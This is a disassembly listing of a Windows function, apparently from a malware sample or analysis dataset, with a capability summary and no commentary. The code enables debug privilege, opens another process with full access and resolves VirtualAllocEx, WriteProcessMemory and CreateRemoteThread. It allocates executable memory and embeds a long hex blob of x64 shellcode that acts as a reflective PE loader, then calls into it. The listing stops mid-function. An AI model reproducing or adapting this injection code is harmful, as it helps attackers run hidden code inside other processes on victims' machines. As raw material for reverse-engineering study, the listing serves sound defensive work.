Function at 0x407912
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
push 0xc
call fcn.0040d5b1
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
add ebx, 8
push ebx
push 0xc
call fcn.0040d5b1
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x415690
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push ebx
mov ebx, edi
mov ecx, 1
push ecx
push ebx
push 0xc
call fcn.0040d5b1
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push ebx
push 8
call fcn.0040d5b1
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
pop ebx
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x40796f
pop ebx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
push 0x34
call fcn.0040d5b1
add esp, 4
mov dword [ebp - 0x28], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xd
rep stosd dword es:[edi], eax
push 0x68
call fcn.0040d5b1
add esp, 4
mov dword [ebp - 0x2c], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x1a
rep stosd dword es:[edi], eax
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [0x415a11]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x407a57
push 0x40
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x34], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.0040e430
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], esp
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x34]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x407aba
push 0x53
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
test eax, eax
je 0x407d07
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov dword [ebx], 1
mov dword [ebx + 4], 0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 8]
call fcn.004019c3
mov eax, 0
cmp eax, ecx
jl 0x407b03
push 0xad
push 0x401c96b
push 1
call fcn.0040d5c3
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov dword [ebx], 2
mov dword [ebx + 4], 0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 8]
call fcn.004019c3
mov eax, 0
cmp eax, ecx
jl 0x407b4b
push 0xfa
push 0x401c96b
push 1
call fcn.0040d5c3
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0x412534
push 0
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
cmp dword [ebp - 0x34], esp
je 0x407b8d
push 0xfa
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
test eax, eax
je 0x407cdb
mov dword [ebp - 0x30], esp
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0x18
call fcn.0040d5b1
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ecx, 1
mov ebx, dword [ebx]
add ebx, 8
push ebx
push ecx
mov ebx, dword [ebx]
push ebx
mov ebx, dword [ebx]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ecx
pop ebx
add ebx, 4
dec ecx
jne 0x407be4
pop ebx
add ebx, 4
push 0
push dword [ebp - 4]
xor eax, eax
call dword [0x415a15]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x407c55
push 0x13b
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push edi
mov edi, dword [edi]
mov ecx, 1
add edi, 8
push ebx
push edi
push ecx
mov edi, dword [edi]
push edi
mov edi, dword [edi]
push ebx
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 8
pop edi
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ecx
pop edi
pop ebx
add edi, 4
add ebx, 0x10
dec ecx
jne 0x407c7f
pop edi
add edi, 4
call fcn.0040d5b7
add esp, 4
pop eax
mov dword [ebp - 0x30], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x415a19]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x407d07
push 0x17c
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x30], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
xor eax, eax
call dword [0x415a1d]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x407d3d
push 0x1cd
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x407d54
mov eax, 0
jmp 0x4089d2
mov dword [ebp - 0x30], esp
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x407d84
push 0x262
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x10], 1
jne 0x40833e
mov eax, 0x412545
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.00408a60
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x407db9
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x407dcd
push ebx
call fcn.0040d5b7
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x407de4
mov eax, 0x412209
push eax
push 1
mov ebx, 0x194
call fcn.0040e110
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
push 0x40
push 0x1000
push dword [ebp - 0x30]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x34], esp
je 0x407e35
push 0x360
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
lea eax, [ebp - 0x18]
push eax
call fcn.00408bda
mov dword [ebp - 0x30], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x407e5b
mov eax, 0x412209
push eax
push 1
mov ebx, 0x194
call fcn.0040e110
add esp, 0x10
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x20]
call fcn.00408bf9
mov eax, str.kernel32.dll
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.00408c22
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x407e9e
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x30
mov dword [ebp - 0x30], ebx
mov eax, str.Sleep
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407ed4
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0xc
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualFree
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407f0c
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x28
mov dword [ebp - 0x30], ebx
mov eax, str.CloseHandle
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407f44
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x30], ebx
mov eax, str.LoadLibraryA
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407f79
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 8
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualAlloc
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407fb1
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x20
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualFreeEx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407fe9
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov eax, str.GetProcAddress
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408021
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x10
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualAllocEx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408059
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x14
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualProtectEx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408091
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov eax, str.ReadProcessMemory
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4080c9
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x18
mov dword [ebp - 0x30], ebx
mov eax, str.WriteProcessMemory
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408101
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x24
mov dword [ebp - 0x30], ebx
mov eax, str.CreateRemoteThread
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408139
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x2c
mov dword [ebp - 0x30], ebx
mov eax, str.GetExitCodeProcess
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
call fcn.00408cc3
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408171
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
push dword [ebp + 0xc]
call fcn.00408bda
mov dword [ebp - 0x30], eax
push 0x80000005
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x408199
mov eax, 0x412209
push eax
push 1
mov ebx, 0x194
call fcn.0040e110
add esp, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00408d4d
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
push 1
push dword [ebp - 0x38]
push 1
push dword [ebp - 0x20]
push 1
push dword [ebp - 0x34]
push 1
push dword [ebp - 0x30]
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x20]
call fcn.00408d69
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x4082cd
mov dword [ebp - 0x30], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [0x415a19]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x40828d
push 0x8fb
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0x8000
push 0
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4082c3
push 0x915
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov eax, 0
jmp 0x4089d2
mov dword [ebp - 0x30], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [0x415a19]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4082f9
push 0x959
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0x8000
push 0
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x40832f
push 0x973
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
mov eax, 1
jmp 0x4089d2
mov eax, str.40_55_57_41_55_41_56_48_8D_6C_24_B8_48_81_EC_48_01_00_00_48_8B_85_90_00_00_00_4D_8B_E9_4C_8B_F2_48_8B_F9_0F_10_00_0F_10_48_10_0F_29_44_24_70_0F_10_40_20_0F_29_4D_80_0F_10_48_30_0F_29_45_90_0F_10_40_40_0F_29_4D_A0_0F_10_48_50_0F_29_45_B0_F2_0F_10_40_60_B8_4D_5A_00_00_0F_29_4D_C0_F2_0F_11_45_D0_66_39_02_74_13_B8_01_00_00_00_48_81_C4_48_01_00_00_41_5E_41_5D_5F_5D_C3_4C_89_A4_24_88_01_00_00_B8_64_86_00_00_4C_63_62_3C_4D_03_E6_66_41_39_44_24_04_74_0A_B8_02_00_00_00_E9_27_06_00_00_45_8B_44_24_50_33_D2_48_89_9C_24_70_01_00_00_41_B9_00_30_00_00_4C_89_BC_24_40_01_00_00_4C_8B_7D_90_C7_44_24_20_04_00_00_00_41_FF_D7_48_89_44_24_40_48_8B_D8_48_85_C0_75_08_8D_43_03_E9_D6_05_00_00_48_8D_45_78_48_89_B4_24_80_01_00_00_33_F6_48_89_44_24_20_89_75_78_48_8B_D3_45_8B_44_24_50_48_8B_CF_44_8D_4E_40_FF_55_98_48_8B_44_24_70_41_B9_00_10_00_00_48_89_45_E0_4D_8B_C6_48_8B_44_24_78_48_8B_D3_48_8B_CF_48_89_45_E8_48_89_75_F8_48_C7_45_00_01_00_00_00_48_89_5D_F0_48_89_75_08_48_89_74_24_20_FF_55_A0_85_C0_75_1A_41_B9_00_80_00_00_45_33_C0_48_8B_D3_48_8B_CF_FF_55_B0_8D_46_04_E9_4B_05_00_00_41_0F_B7_5C_24_14_48_83_C3_2C_66_41_39_74_24_06_74_45_49_03_DC_0F_1F_80_00_00_00_00_8B_43_FC_85_C0_74_24_44_8B_03_44_8B_C8_8B_53_F8_4D_03_C6_48_03_54_24_40_48_8B_CF_48_C7_44_24_20_00_00_00_00_FF_55_A0_85_C0_74_53_41_0F_B7_44_24_06_FF_C6_48_83_C3_28_3B_F0_75_C5_33_D2_C7_44_24_20_04_00_00_00_41_B9_00_30_00_00_48_8B_CF_44_8D_42_30_41_FF_D7_48_89_44_24_50_48_8B_D8_48_8B_CF_48_85_C0_75_37_48_8B_54_24_40_41_B9_00_80_00_00_45_33_C0_FF_55_B0_8D_43_06_E9_B1_04_00_00_48_8B_54_24_40_41_B9_00_80_00_00_45_33_C0_48_8B_CF_FF_55_B0_B8_05_00_00_00_E9_93_04_00_00_45_33_F6_4C_8D_45_E0_48_8B_D3_4C_89_74_24_20_45_8D_4E_30_FF_55_A0_48_8B_CF_85_C0_75_30_48_8B_54_24_40_41_B9_00_80_00_00_48_8B_5D_B0_45_33_C0_FF_D3_48_8B_54_24_50_41_B9_00_80_00_00_45_33_C0_48_8B_CF_FF_D3_41_8D_46_07_E9_46_04_00_00_33_D2_C7_44_24_20_40_00_00_00_41_B9_00_30_00_00_41_B8_00_10_00_00_41_FF_D7_48_89_44_24_60_48_8B_F0_48_8B_CF_48_85_C0_75_2F_48_8B_54_24_40_41_B9_00_80_00_00_48_8B_5D_B0_45_33_C0_FF_D3_48_8B_54_24_50_41_B9_00_80_00_00_45_33_C0_48_8B_CF_FF_D3_8D_46_08_E9_EE_03_00_00_4D_8D_85_E0_06_00_00_4C_89_74_24_20_4C_8B_6D_A0_41_B9_FE_01_00_00_48_8B_D6_41_FF_D5_45_33_C0_48_8B_CF_85_C0_75_3F_48_8B_54_24_40_41_B9_00_80_00_00_48_8B_5D_B0_FF_D3_48_8B_54_24_50_41_B9_00_80_00_00_45_33_C0_48_8B_CF_FF_D3_41_B9_00_80_00_00_45_33_C0_48_8B_D6_48_8B_CF_FF_D3_B8_09_00_00_00_E9_89_03_00_00_4C_89_74_24_30_4C_8B_CE_44_89_74_24_28_33_D2_48_89_5C_24_20_FF_55_B8_48_85_C0_75_45_48_8B_54_24_40_41_B9_00_80_00_00_48_8B_5D_B0_45_33_C0_48_8B_CF_FF_D3_48_8B_54_24_50_41_B9_00_80_00_00_45_33_C0_48_8B_CF_FF_D3_41_B9_00_80_00_00_45_33_C0_48_8B_D6_48_8B_CF_FF_D3_B8_0A_00_00_00_E9_28_03_00_00_48_8B_C8_FF_55_C0_48_8B_75_D0_4C_8B_75_C8_4C_8B_7D_A8_0F_1F_80_00_00_00_00_48_8D_95_90_00_00_00_C7_85_90_00_00_00_00_00_00_00_48_8B_CF_41_FF_D6_81_BD_90_00_00_00_03_01_00_00_0F_85_E3_02_00_00_0F_57_C0_48_C7_44_24_20_00_00_00_00_41_B9_30_00_00_00_4C_8D_45_10_48_8B_D3_48_8B_CF_0F_11_45_10_0F_11_45_20_0F_11_45_30_41_FF_D7_48_8B_5D_28_48_81_FB_40_40_40_00_0F_84_63_02_00_00_B9_0A_00_00_00_FF_D6_48_85_DB_48_8B_5C_24_50_74_8C_33_C9_BA_00_00_40_01_41_B8_00_10_00_00_44_8D_49_40_FF_55_80_4C_8B_74_24_40_41_B9_00_10_00_00_4C_8B_C0_48_C7_44_24_20_00_00_00_00_49_8B_D6_48_8B_CF_4C_8B_F8_41_FF_D5_41_0F_B7_4C_24_14_49_8D_5C_24_18_41_0F_B7_44_24_06_48_03_D9_33_F6_C7_44_24_48_2E_70_64_61_66_C7_44_24_4C_74_61_C6_44_24_4E_00_C7_85_90_00_00_00_2E_72_73_72_66_C7_85_94_00_00_00_63_00_C7_44_24_40_2E_72_65_6C_66_C7_44_24_44_6F_63_C6_44_24_46_00_66_85_C0_0F_84_C4_00_00_00_66_66_66_0F_1F_84_00_00_00_00_00_44_8B_4B_08_45_85_C9_0F_84_92_00_00_00_4C_8D_44_24_48_48_8B_C3_4C_2B_C3_0F_1F_84_00_00_00_00_00_0F_B6_10_42_0F_B6_0C_00_2B_D1_75_07_48_FF_C0_85_C9_75_ED_85_D2_74_50_4C_8D_85_90_00_00_00_48_8B_C3_4C_2B_C3_0F_B6_10_42_0F_B6_0C_00_2B_D1_75_07_48_FF_C0_85_C9_75_ED_85_D2_74_2C_4C_8D_44_24_40_48_8B_C3_4C_2B_C3_66_66_0F_1F_84_00_00_00_00_00_0F_B6_10_42_0F_B6_0C_00_2B_D1_75_07_48_FF_C0_85_C9_75_ED_85_D2_75_18_8B_53_0C_4D_8B_C7_49_03_D6_48_C7_44_24_20_00_00_00_00_48_8B_CF_41_FF_D5_41_0F_B7_44_24_06_F
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.00408a60
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x408362
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x408376
push ebx
call fcn.0040d5b7
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40838d
mov eax, 0x412209
push eax
push 1
mov ebx, 0x194
call fcn.0040e110
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
push 0x40
push 0x1000
push dword [ebp - 0x30]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x34], esp
je 0x4083de
push 0xa1c
push 0x401c96b
push 6
call fcn.0040d5c3
add esp, 0xc
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
lea eax, [ebp - 0x18]
push eax
call fcn.00408bda
mov dword [ebp - 0x30], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x408404
mov eax, 0x412209
push eax
push 1
mov ebx, 0x194
call fcn.0040e110
add esp, 0x10
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x20]
call fcn.00408bf9
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov eax, str.kernel32.dll
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push 0
call fcn.00408dcc
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40845b
push ebx
call fcn.0040d5b7
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x2c]
add ebx, 0x60
mov dword [ebp - 0x30], ebx
mov eax, str.Sleep
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408497
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x18
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualFree
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4084db
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x50
mov dword [ebp - 0x30], ebx
mov eax, str.CloseHandle
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40851f
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ebx
mov eax, str.LoadLibraryA
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, str.kernel32.dll
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
call fcn.00409037
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40856c
push ebx
call fcn.0040d5b7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40857c
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x10
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualAlloc
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
call fcn.00408f39
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4085c0
push ebx
call fcn.0040d5b7
add esp, 4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov ebx, dword [ebp - 0x2c]
add ebx, 0x40
mov dword [ebp - 0x30], ebx
mov eax, str.VirtualFreeEx
mov dword [ebp - 0x34], eax
